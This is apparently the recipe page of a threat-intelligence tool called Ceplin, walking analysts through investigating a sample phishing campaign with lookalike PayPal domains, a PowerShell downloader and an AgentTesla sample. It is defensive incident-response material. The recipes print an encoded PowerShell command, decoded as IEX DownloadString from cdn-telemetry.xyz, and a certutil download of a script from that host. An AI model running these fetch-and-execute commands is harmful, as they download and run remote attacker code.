Recipes
Cookbook
Each recipe below is a complete investigation, written as the lines an analyst would type. The examples run on Ceplin's sample data, which models one small campaign: a PayPal lookalike phishing kit, a PowerShell downloader and an AgentTesla sample, sharing infrastructure. With live API keys the same lines work on real artefacts.
#Triage a lookalike phishing domain
A user reports a link to secure-login-paypa1.com. The name imitates PayPal with a 1 in place of the l. The questions are how new the domain is, what it serves, and where it sends people.
Start with registration. A domain registered days before it is used is a strong signal.
>>> "secure-login-paypa1.com".rdap()[registered, registrar, age, nameservers] [OK] WHOIS / RDAP [registered, registrar, age, nameservers] on secure-login-paypa1.com via RDAP registered: 2026-07-15T18:20:31.000Z registrar: NameSilo, LLC age: ● 113.7 nameservers: ns1.bullethost.net ns2.bullethost.net
age is in days. Next, fetch the page and look at where it ends up, its title, and whether it asks for a password:
>>> "secure-login-paypa1.com".http()[final_url, redirect_chain, title, forms, password_field, external_hosts] [OK] HTTP fetch [final_url, redirect_chain, title, forms, password_field, external_hosts] on secure-login-paypa1.com via direct final_url: https://accounts-verify-paypa1.top/login redirect_chain: https://secure-login-paypa1.com/ https://accounts-verify-paypa1.top/login title: PayPal — Verify your account forms: 1 password_field: true external_hosts: cdn-telemetry.xyz collector-9x2.top www.paypalobjects.com
The domain redirects to a second domain, accounts-verify-paypa1.top, which shows a PayPal login form. external_hosts lists the other hosts the page loads from. Check the mail setup, since lookalike domains are often also used to send the phishing mail:
>>> "secure-login-paypa1.com".dns()[a, mx, spf_includes, spf_ips, dmarc_policy] [OK] DNS records [a, mx, spf_includes, spf_ips, dmarc_policy] on secure-login-paypa1.com via resolver a: 185.215.113.66 mx: mail.accounts-verify-paypa1.top spf_includes: _spf.sendgrid.net spf_ips: 185.215.113.0/24 dmarc_policy: none
A block compares the two domains side by side:
>>> ["secure-login-paypa1.com", "accounts-verify-paypa1.top"]{ rdap()[registrar, age], tls_cert()[issuer], dns()[a] } [OK] Multi Report Expression on 2 domains domain registrar age issuer a ──────────────────────────────────────────────────────────────────────── secure-login-paypa1.com NameSilo, LLC 113.7 R11 185.215.113.66 accounts-verify-paypa1.top NameSilo, LLC 113.7 R11 185.215.113.66
Both were registered at the same registrar on the same day, use the same certificate issuer, and resolve to the same address. Look at that address:
>>> "secure-login-paypa1.com".dns()[a]{ abuseipdb()[score, total_reports], asn()[as_name], geo()[country_name] } [OK] Multi Report Expression on 185.215.113.66 abuseipdb[score]: 100 abuseipdb[total_reports]: 1148 asn[as_name]: PROSPERO-AS, RU geo[country_name]: Netherlands
Certificate Transparency logs show every name issued a certificate together with this one, which often reveals the rest of the kit:
>>> "secure-login-paypa1.com".ct_logs()[sans, first_seen] [OK] Certificate Transparency [sans, first_seen] on secure-login-paypa1.com via certspotter sans: accounts-verify-paypa1.top cdn-telemetry.xyz mail.accounts-verify-paypa1.top secure-login-paypa1.com webmail.secure-login-paypa1.com www.secure-login-paypa1.com first_seen: 2026-07-09T11:02:00Z
The logs list cdn-telemetry.xyz alongside the phishing names. That domain appears again in the next recipe. To put the indicators in a report or ticket, defang them:
>>> ["secure-login-paypa1.com", "accounts-verify-paypa1.top", "cdn-telemetry.xyz"].encode(defang)[text] [OK] Encode [text] on 3 domains domain text ──────────────────────────────────────────────────────── secure-login-paypa1.com secure-login-paypa1[.]com accounts-verify-paypa1.top accounts-verify-paypa1[.]top cdn-telemetry.xyz cdn-telemetry[.]xyz
#Unpack an encoded PowerShell command
An EDR alert shows PowerShell started with -enc and a long Base64 argument. identify() explains the command line without running anything: the binary, each flag, the decoded script, and the Sigma rules and ATT&CK techniques it matches.
>>> cmd = "powershell -nop -w hidden -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AYwBkAG4ALQB0AGUAbABlAG0AZQB0AHIAeQAuAHgAeQB6AC8AdwBpAG4ALwB1AHAAZABhAHQAZQAuAHAAcwAxACcAKQA=" [OK] Recognised command powershell -nop -w hidden -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AYwBkAG4ALQB0AGUAbABlAG0AZQB0AHIAeQAuAHgAeQB6AC8AdwBpAG4ALwB1AHAAZABhAHQAZQAuAHAAcwAxACcAKQA= [OK] cmd 1 command value(s) >>> cmd.identify()[flags, decoded, urls, level, techniques] [OK] Command identifier [flags, decoded, urls, level, techniques] on powershell -nop -w hidden -enc SQBFAF...ACcAKQA= flags: -nop Doesn't load the PowerShell profile. -w Sets the window style for the session. -enc Accepts a base-64-encoded string version of a command. decoded: IEX (New-Object Net.WebClient).DownloadString('http://cdn-telemetry.xyz/win/update.ps1') urls: http://cdn-telemetry.xyz/win/update.ps1 level: high techniques: T1059.001 Command and Scripting Interpreter: PowerShell
The script downloads a second stage with DownloadString and runs it with IEX. decode(auto) gives the decoded text on its own, with the URL it contains as a field:
>>> cmd.decode(auto)[text, url, method] [OK] Decode [text, url, method] on powershell -nop -w hidden -enc SQBFAF...ACcAKQA= text: IEX (New-Object Net.WebClient).DownloadString('http://cdn-telemetry.xyz/win/update.ps1') url: http://cdn-telemetry.xyz/win/update.ps1 method: base64 → utf16le
Follow the URL to the server that hosts the second stage, and ask three sources about it in one line:
>>> cmd.decode(auto)[url].urlscan()[ip]{ abuseipdb()[score], asn()[asn, as_name], rdap()[net_name] } [OK] Multi Report Expression on 45.9.148.112 abuseipdb[score]: 100 asn[asn]: AS202425 asn[as_name]: IPVOLUME, NL rdap[net_name]: IPV-NET
Save the pivot so the next encoded command takes one line:
>>> /save command.decode(auto)[url].urlscan()[ip]{ abuseipdb()[score], asn()[as_name] } stage2 [OK] Saved @stage2 accepts: command expression: command.decode(auto)[url].urlscan()[ip]{ abuseipdb()[score], asn()[as_name] } returns: ip cost: 3 API call(s) >>> cmd.@stage2() [OK] Multi Report Expression on 45.9.148.112 abuseipdb[score]: 100 asn[as_name]: IPVOLUME, NL
#Check destinations in a proxy log
A proxy log has been exported for the hosts in an incident. The task is to find which destinations are known bad, and which internal hosts talked to them.
time,src_host,user,dest_host,dest_ip,bytes_out 2026-07-16T09:31:44Z,WS-114,j.doe,secure-login-paypa1.com,185.215.113.66,4812 2026-07-16T09:32:10Z,WS-114,j.doe,accounts-verify-paypa1.top,185.215.113.66,22094 2026-07-16T09:40:02Z,WS-207,a.khan,cdn-telemetry.xyz,45.9.148.112,1203 2026-07-16T10:02:55Z,WS-310,m.ito,dns.google,8.8.8.8,512 2026-07-16T10:15:19Z,WS-207,a.khan,cdn-telemetry.xyz,45.9.148.112,98112 2026-07-16T11:20:41Z,WS-122,r.silva,www.tencentcloud.com,118.25.6.39,2201
import() reads the file. Each column is a field, so the destination addresses are [dest_ip], and uniq() drops the repeats:
>>> "proxy.csv".import()[dest_ip].uniq() [OK] uniq() on 4 rows row dest_ip ─────────────────── 2 185.215.113.66 4 45.9.148.112 5 8.8.8.8 7 118.25.6.39
Price the sweep before running it. Three checks on four addresses is twelve API calls, over the default limit of ten, so Ceplin would stop and ask first:
>>> "proxy.csv".import()[dest_ip].uniq(){ abuseipdb(), asn(), geo() }.cost() [OK] cost() on proxy.csv 0 API call(s) + 3 per item in the set - projected, not executed >>> "proxy.csv".import()[dest_ip].uniq(){ abuseipdb()[score], asn()[as_name], geo()[country_name] } [??] Confirm This line will make 12 API calls (abuseipdb 4, asn 4, geo 4). Enter to continue, Esc to cancel. Not run.
Two checks fit within the limit. Keep the addresses that score high, and keep them in a variable:
>>> bad = "proxy.csv".import()[dest_ip].uniq(){ abuseipdb()[score], asn()[as_name] }.filter(score > 50)[value] [OK] [value] on 2 ips ips: 185.215.113.66 45.9.148.112 filter(score > 50) kept 2 of 4 [OK] bad 2 ip value(s) >>> bad [OK] bad ip 185.215.113.66 45.9.148.112
Now go back to the log and find the internal hosts that connected to them, with how much data each sent:
>>> "proxy.csv".import().filter(dest_ip in bad).group(src_host).sum(bytes_out) [OK] sum(bytes_out) on 2 groups src_host count items sum_bytes_out ──────────────────────────────────────────────────────────────── WS-114 2 proxy.csv row 2, proxy.csv row 3 26906 WS-207 2 proxy.csv row 4, proxy.csv row 6 99315
WS-207 sent about 99 KB to the server that hosts the PowerShell second stage, more than any other host. Write the matching rows to a file for the incident record:
>>> "proxy.csv".import().filter(dest_ip in bad).export("proxy-hits.csv") [OK] Import rows .filter(dest_ip in bad) on 4 rows row time src_host user dest_host dest_ip bytes_out ──────────────────────────────────────────────────────────────────────────────────────── 2 2026-07-16T09:31:… WS-114 j.doe secure-login-payp… 185.215.113.66 4812 3 2026-07-16T09:32:… WS-114 j.doe accounts-verify-p… 185.215.113.66 22094 4 2026-07-16T09:40:… WS-207 a.khan cdn-telemetry.xyz 45.9.148.112 1203 6 2026-07-16T10:15:… WS-207 a.khan cdn-telemetry.xyz 45.9.148.112 98112 [OK] Exported 4 row(s) to proxy-hits.csv
#Pivot from a malware sample
A mail gateway quarantined an attachment, PO-8823_shipping.exe, with MD5 9a1b6f0c33e51d2a48b7e90d1c2f4a55. Start with what MalwareBazaar knows about it:
>>> "9a1b6f0c33e51d2a48b7e90d1c2f4a55".malwarebazaar()[signature, tags, file_name, first_seen, delivery_method] [OK] Sample intel [signature, tags, file_name, first_seen, delivery_method] on 9a1b6f0c33e51d2a48b7e90d1c2f4a55 via MalwareBazaar signature: AgentTesla tags: AgentTesla exe TA558 file_name: PO-8823_shipping.exe first_seen: 2026-07-19 06:12:44 delivery_method: email_attachment
The import hash (imphash) is computed from the functions an executable imports, so builds from the same project often share it. Searching by imphash finds related samples:
>>> "9a1b6f0c33e51d2a48b7e90d1c2f4a55".malwarebazaar()[imphash].samples()[file_name, first_seen, delivery_method] [OK] Related samples [file_name, first_seen, delivery_method] on 3 imphashes via MalwareBazaar imphash file_name first_seen delivery_method ──────────────────────────────────────────────────────────────────────────────────────── 2c8e01f4b9aa3d75e6c2f1a0b3d4e5f6 PO-8823_shipping… 2026-07-19 06:12… email_attachment 2c8e01f4b9aa3d75e6c2f1a0b3d4e5f6 Invoice_June_202… 2026-06-30 11:02… email_attachment 2c8e01f4b9aa3d75e6c2f1a0b3d4e5f6 swift_copy.exe 2026-03-04 09:47… email_link
Group them to see how the campaign was delivered:
>>> "9a1b6f0c33e51d2a48b7e90d1c2f4a55".malwarebazaar()[imphash].samples().group(delivery_method) [OK] group(delivery_method) on 2 groups delivery_method count items ──────────────────────────────────────────────────────────────────────────────────────── email_attachment 2 b4c9e2a7f0d81135c66aa2e94b7d30f8a1c5e6d2b9f04a7c8e1d3f5a6b7c8d… email_link 1 7e2a1b9c0d3f4e5a6b7c8d9e0f1a2b3c4d5e6f7a8b9c0d1e2f3a4b5c6d7e8f…
The sample was also signed. Its signing certificate's serial and subject, and whether the certificate is on the Code Signing Certificate Blocklist, are fields of the report:
>>> "9a1b6f0c33e51d2a48b7e90d1c2f4a55".malwarebazaar()[cert_serial, cert_subject, cscb_listed] [OK] Sample intel [cert_serial, cert_subject, cscb_listed] on 9a1b6f0c33e51d2a48b7e90d1c2f4a55 via MalwareBazaar cert_serial: 3A9F00C21B7D4E85A6F1029384756ABC cert_subject: Hangzhou Ledong Network Technology Co., Ltd. cscb_listed: true
A hash can also be checked against known good software. whatis() looks a hash up in CIRCL's hashlookup set of published files, which helps rule out a system binary:
>>> "945fedb3a3c290d69f075f997e5320ff".whatis()[name, package, match, trust] [OK] What is this binary [name, package, match, trust] on 945fedb3a3c290d69f075f997e5320ff name: ls package: coreutils 8.21-1ubuntu5.4 match: known published file (CIRCL hashlookup) trust: 55
#Map the hosting behind an address
The phishing kit and the second stage are hosted on two addresses. Before blocking, it helps to know whose networks they are on, what else is announced from them, and whether the networks are related.
>>> ["185.215.113.66", "45.9.148.112"]{ asn()[asn, as_name, country], rdap()[net_name, abuse_email] } [OK] Multi Report Expression on 2 ips ip asn as_name country net_name abuse_email ──────────────────────────────────────────────────────────────────────────────────── 185.215.113.66 AS200593 PROSPERO-AS, RU RU PROSPERO-NET - 45.9.148.112 AS202425 IPVOLUME, NL NL IPV-NET abuse@ipvolume.net
routing() reads BGP data from RIPEstat: the announced prefix, its origin AS, the neighbouring networks and related prefixes.
>>> "185.215.113.66".routing()[prefix, origin_asn, holder, neighbours, related_prefixes] [OK] BGP routing (RIPEstat) [prefix, origin_asn, holder, neighbours, related_prefixes] on 185.215.113.66 via ripestat prefix: 185.215.113.0/24 origin_asn: AS200593 holder: PROSPERO-AS neighbours: AS9009 AS49666 AS207137 related_prefixes: 185.215.112.0/24 185.215.113.0/24 45.9.148.0/24
45.9.148.0/24, the network of the second address, is listed as a related prefix, which links the two hosting networks. A verb that takes single addresses refuses a range rather than picking one address from it:
>>> "45.9.148.0/24".geo() [ER] geo cannot accept cidr (accepts ip)
Reverse DNS on the address runs locally and costs nothing:
>>> "45.9.148.112".reverse_dns() [OK] Reverse DNS (PTR) on 45.9.148.112 hostname: unassigned.ipvolume.net
#Read a suspicious email header
A user forwards the phishing mail with its full headers. parse_header() reads a pasted header block: the sender, return path, subject, message ID, the relays it passed through, and the authentication results. Text over several lines goes between three backticks.
>>> hdr = ```Received: from mail.accounts-verify-paypa1.top (mail.accounts-verify-paypa1.top [185.215.113.66]) ... by mx1.example.org with ESMTPS id 4Xk2pQ; Thu, 16 Jul 2026 09:31:02 +0000 ... Authentication-Results: mx1.example.org; spf=pass smtp.mailfrom=accounts-verify-paypa1.top; dkim=none; dmarc=fail header.from=accounts-verify-paypa1.top ... From: "PayPal Service" <service@accounts-verify-paypa1.top> ... Return-Path: <bounce@accounts-verify-paypa1.top> ... To: j.doe@example.org ... Subject: Your account access has been limited ... Date: Thu, 16 Jul 2026 09:30:58 +0000 ... Message-ID: <20260716093058.4Xk2pQ@accounts-verify-paypa1.top>``` [OK] Recognised email_header Received: from mail.accounts-verify-paypa1.top (mail.accounts-verify-paypa1.top [185.215.113.66]) by mx1.example.org with ESMTPS id 4Xk2pQ; Thu, 16 Jul 2026 09:31:02 +0000 Authentication-Results: mx1.example.org; spf=pass smtp.mailfrom=accounts-verify-paypa1.top; dkim=none; dmarc=fail header.from=accounts-verify-paypa1.top From: "PayPal Service" <service@accounts-verify-paypa1.top> Return-Path: <bounce@accounts-verify-paypa1.top> To: j.doe@example.org Subject: Your account access has been limited Date: Thu, 16 Jul 2026 09:30:58 +0000 Message-ID: <20260716093058.4Xk2pQ@accounts-verify-paypa1.top> [OK] hdr 1 email_header value(s) >>> hdr.parse_header() [OK] Parse header on Received: from mail.accounts-verify-p...pa1.top> from: service@accounts-verify-paypa1.top return_path: bounce@accounts-verify-paypa1.top to: j.doe@example.org subject: Your account access has been limited date: Thu, 16 Jul 2026 09:30:58 +0000 message_id: <20260716093058.4Xk2pQ@accounts-verify-paypa1.top> originating_ip: 185.215.113.66 received_hops: 1 auth_results: mx1.example.org; spf=pass smtp.mailfrom=accounts-verify-paypa1.top; dkim=none; dmarc=fail header.from=accounts-verify-paypa1.top
The display name says PayPal, but the address is on the lookalike domain, and DMARC failed. Take the originating address on to a reputation check:
>>> hdr.parse_header()[originating_ip]{ abuseipdb()[score], asn()[as_name] } [OK] Multi Report Expression on 185.215.113.66 abuseipdb[score]: 100 asn[as_name]: PROSPERO-AS, RU
#Explain a command line from an alert
Living off the land binaries are signed system tools used for an attacker's purpose. identify() recognises them in a command line and lists the LOLBAS entry, the matching Sigma rules and the ATT&CK techniques. Here certutil downloads a file:
>>> "certutil -urlcache -split -f http://cdn-telemetry.xyz/win/update.ps1 C:\Users\Public\u.ps1".identify()[binary, flags, urls, lolbas, level, techniques] [OK] Command identifier [binary, flags, urls, lolbas, level, techniques] on certutil -urlcache -split -f http://c...ic\u.ps1 binary: certutil.exe flags: -urlcache Displays or deletes URL cache entries. -split Split embedded ASN.1 elements, and save to files. -f Force overwrite. urls: http://cdn-telemetry.xyz/win/update.ps1 lolbas: Download (T1105) level: medium techniques: T1105 Ingress Tool Transfer T1027 Obfuscated Files or Information
whatis() describes a binary by name: where it should live, who signs it, and how it can be misused. A copy of rundll32.exe outside System32 would be worth a closer look.
>>> "rundll32.exe".whatis()[description, paths, signer, lolbas, techniques] [OK] What is this binary [description, paths, signer, lolbas, techniques] on rundll32.exe description: Windows host process (Rundll32) paths: C:\Windows\system32\ C:\Windows\SysWOW64\ signer: Microsoft Windows lolbas: Execute ADS techniques: T1218.011 T1564.004
#Check a site's certificates
tls_cert() connects to the host and reads the certificate it serves. A new certificate, a short validity, or names that do not belong together are all worth noting.
>>> "secure-login-paypa1.com".tls_cert()[subject_cn, sans, issuer, not_before, expires_in, self_signed, served_ip] [OK] TLS certificate (live) [subject_cn, sans, issuer, not_before, expires_in, self_signed, served_ip] on secure-login-paypa1.com via direct subject_cn: accounts-verify-paypa1.top sans: accounts-verify-paypa1.top mail.accounts-verify-paypa1.top secure-login-paypa1.com www.accounts-verify-paypa1.top issuer: R11 not_before: 2026-07-16T09:14:00Z expires_in: 62 self_signed: false served_ip: 185.215.113.66
The certificate covers both lookalike domains. Its fingerprint finds the same certificate in the Certificate Transparency logs through crt.sh, which confirms when it was logged:
>>> "secure-login-paypa1.com".tls_cert()[fingerprint_sha256].cert_lookup()[subject_cn, sans, not_before, logged] [OK] Certificate by fingerprint [subject_cn, sans, not_before, logged] on 9f2c41ab77d5e0c318b4a6f92e7d015c8ab39...bb27ce34 via crt.sh subject_cn: accounts-verify-paypa1.top sans: accounts-verify-paypa1.top mail.accounts-verify-paypa1.top secure-login-paypa1.com www.accounts-verify-paypa1.top not_before: 2026-07-16T09:14:00Z logged: true
Every name on the certificate can be checked in one line. The names are hostnames, so rdap() looks up the domain each one belongs to:
>>> "secure-login-paypa1.com".tls_cert()[sans].uniq().rdap()[registered, registrar] [OK] WHOIS / RDAP [registered, registrar] on 4 domains via RDAP domain registered registrar ──────────────────────────────────────────────────────────────────────── accounts-verify-paypa1.top 2026-07-15T18:24:02.000Z NameSilo, LLC mail.accounts-verify-paypa1.top 2026-07-15T18:24:02.000Z NameSilo, LLC secure-login-paypa1.com 2026-07-15T18:20:31.000Z NameSilo, LLC www.accounts-verify-paypa1.top 2026-07-15T18:24:02.000Z NameSilo, LLC
#Decode artefacts from an incident
Incident data is full of encoded values. These decoders run locally and make no API calls.
>>> "aHR0cDovL2Nkbi10ZWxlbWV0cnkueHl6L3dpbi91cGRhdGUucHMx".decode(auto)[text, method] [OK] Decode [text, method] on aHR0cDovL2Nkbi10ZWxlbWV0cnkueHl6L3dpb...dGUucHMx text: http://cdn-telemetry.xyz/win/update.ps1 method: base64 >>> "133512345678901234".decode(filetime) [OK] Decode on 133512345678901234 2024-02-01T04:16:07.8901234Z text: 2024-02-01T04:16:07.8901234Z method: filetime >>> "1784194262".decode(unix_time) [OK] Decode on 1784194262 2026-07-16T09:31:02.000Z (s) text: 2026-07-16T09:31:02.000Z (s) method: unix_time >>> "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhbmFseXN0IiwiaWF0IjoxNzE2MjM5MDIyfQ.c2lnbmF0dXJl".decode(jwt) [OK] Decode on eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9....bmF0dXJl { "alg": "HS256", "typ": "JWT" } { "sub": "analyst", "iat": 1716239022 } text: {… method: jwt >>> "hxxps://accounts-verify-paypa1[.]top/login".decode(fang)[text] [OK] Decode [text] on https://accounts-verify-paypa1.top/login https://accounts-verify-paypa1.top/login Defanging undone: "hxxps://accounts-verify-paypa1[.]top/login" was read as "https://accounts-verify-paypa1.top/login". To work on it as written, turn on "Keep defanged artefacts as written" in Settings, Advanced >>> "secure-login-paypa1.com".encode(sha256)[hash] [OK] Encode [hash] on secure-login-paypa1.com af1c854dcbe17d49802807ec3ee8a2862014af924791ca03afc29c4220c095f1
filetime reads a Windows FILETIME, as found in registry keys and event logs. jwt shows a token's header and claims without checking the signature. fang turns a defanged indicator back into a working one, and encode(defang) does the opposite.
#Compare new indicators with known ones
A partner shares a list of indicators. Some of them are already in your blocklist. List arithmetic finds the new ones before you spend lookups on them.
>>> shared = ["185.215.113.66", "45.9.148.112", "103.21.58.11", "118.25.6.39"] [OK] shared 4 ip value(s) >>> blocked = ["185.215.113.66", "45.9.148.112"] [OK] blocked 2 ip value(s) >>> new = shared - blocked [OK] new 2 ip value(s) >>> new{ abuseipdb()[score, isp], asn()[as_name] } [OK] Multi Report Expression on 2 ips ip score isp as_name ──────────────────────────────────────────────────────────────────────────── 103.21.58.11 12 SMS Datacenter (no result) 118.25.6.39 0 Tencent Cloud Computing (Beijing) Co., Ltd (no result)
shared & blocked gives the overlap, and shared + blocked the union. A block's table held in a variable can be filtered and sorted again with no new lookups:
>>> seen = new{ abuseipdb()[score, isp] } [OK] Multi Report Expression on 2 ips ip score isp ─────────────────────────────────────────────────────────────── 103.21.58.11 12 SMS Datacenter 118.25.6.39 0 Tencent Cloud Computing (Beijing) Co., Ltd [OK] seen 2 row(s): ip, score, isp >>> seen.filter(score > 10) [OK] seen on 103.21.58.11 abuseipdb[score]: 12 abuseipdb[isp]: SMS Datacenter filter(score > 10) kept 1 of 2 >>> seen.cost() [OK] seen.cost() on 2 ips 0 API call(s) - projected API calls (not executed): the rows are held, no lookup is made again
#Build a team playbook with saved verbs
A team that triages the same kinds of artefact every day can save its checks as verbs, so each analyst runs them the same way. A saved verb belongs to one type, and Tab offers it after a dot.
>>> /save domain{ rdap()[registrar, age], dns()[a, mx], ct_logs()[newest_age] } newdomain [OK] Saved @newdomain accepts: domain expression: domain{ rdap()[registrar, age], dns()[a, mx], ct_logs()[newest_age] } returns: domain cost: 3 API call(s) >>> "accounts-verify-paypa1.top".@newdomain() [OK] Multi Report Expression on accounts-verify-paypa1.top rdap[registrar]: NameSilo, LLC rdap[age]: 113.7 dns[a]: [185.215.113.66] dns[mx]: [mail.accounts-verify-paypa1.top] ct_logs[newest_age]: 113.1
A parameter makes a threshold adjustable. Each parameter must be used in a condition, and can have a default:
>>> /save ip.abuseipdb().filter(score >= min_score and country not in skip)[score, isp, country] hot(min_score = 75, skip = ["United States of America"]) [OK] Saved @hot accepts: ip expression: ip.abuseipdb().filter(score >= min_score and country not in skip)[score, isp, country] returns: text cost: 1 API call(s) run as: .@hot() >>> ["185.215.113.66", "45.9.148.112", "8.8.8.8", "103.21.58.11"].@hot() [OK] IP reputation .filter(score >= 75 and country not in ["United States of America"])[score, isp, country] on 2 ips via AbuseIPDB ip score isp country ──────────────────────────────────────────────────────── 185.215.113.66 100 Prospero OOO Russian Federation 45.9.148.112 100 IP Volume inc Netherlands >>> ["185.215.113.66", "45.9.148.112", "8.8.8.8", "103.21.58.11"].@hot(min_score = 10, skip = ["Russian Federation"]) [OK] IP reputation .filter(score >= 10 and country not in ["Russian Federation"])[score, isp, country] on 2 ips via AbuseIPDB ip score isp country ──────────────────────────────────────────────── 45.9.148.112 100 IP Volume inc Netherlands 103.21.58.11 12 SMS Datacenter India
/list shows the saved verbs with their types and costs, and /edit puts one back on the prompt to change it.
#Keep a large sweep within budget
API quotas are limited, so a long list should be narrowed and priced before the paid lookups. find() runs locally, and each address it finds carries a scope: private for private, loopback and link-local addresses, public otherwise. Drop the internal addresses first:
>>> "Connections: 10.0.4.21, 185.215.113.66, 45.9.148.112, 172.16.9.3, 8.8.8.8".find(ip).uniq().filter(scope == "public") [OK] .filter(scope == "public") on Connections: 10.0.4.21, 185.215.113.6... 8.8.8.8 185.215.113.66 [OK] .filter(scope == "public") on Connections: 10.0.4.21, 185.215.113.6... 8.8.8.8 45.9.148.112 [OK] .filter(scope == "public") on Connections: 10.0.4.21, 185.215.113.6... 8.8.8.8 8.8.8.8
Price the paid part, and put a ceiling on it. .filter(cost < N) after a block runs it only when it would make fewer than N calls, and skips it otherwise:
>>> "Connections: 10.0.4.21, 185.215.113.66, 45.9.148.112, 172.16.9.3, 8.8.8.8".find(ip).uniq().filter(scope == "public"){ abuseipdb()[score], asn()[as_name] }.cost() [OK] cost() on Connections: 10.0.4.21, 185.215.113... 8.8.8.8 0 API call(s) + 2 per item in the set - projected, not executed >>> "Connections: 10.0.4.21, 185.215.113.66, 45.9.148.112, 172.16.9.3, 8.8.8.8".find(ip).uniq().filter(scope == "public"){ abuseipdb()[score], asn()[as_name] }.filter(cost < 5) [~~] .filter(scope == "public") on 185.215.113.66 skipped: would cost 6 API call(s), exceeds limit 5 >>> "Connections: 10.0.4.21, 185.215.113.66, 45.9.148.112, 172.16.9.3, 8.8.8.8".find(ip).uniq().filter(scope == "public"){ abuseipdb()[score], asn()[as_name] }.filter(cost < 10) [OK] Multi Report Expression on 3 ips ip score as_name ────────────────────────────────────── 185.215.113.66 100 PROSPERO-AS, RU 45.9.148.112 100 IPVOLUME, NL 8.8.8.8 0 GOOGLE, US
The block would make six calls, so with a ceiling of five it is skipped and nothing is called. Addresses in documentation ranges are never sent to a provider either, and lookups are cached for an hour, so running the same line again costs nothing. The cost rules give the details.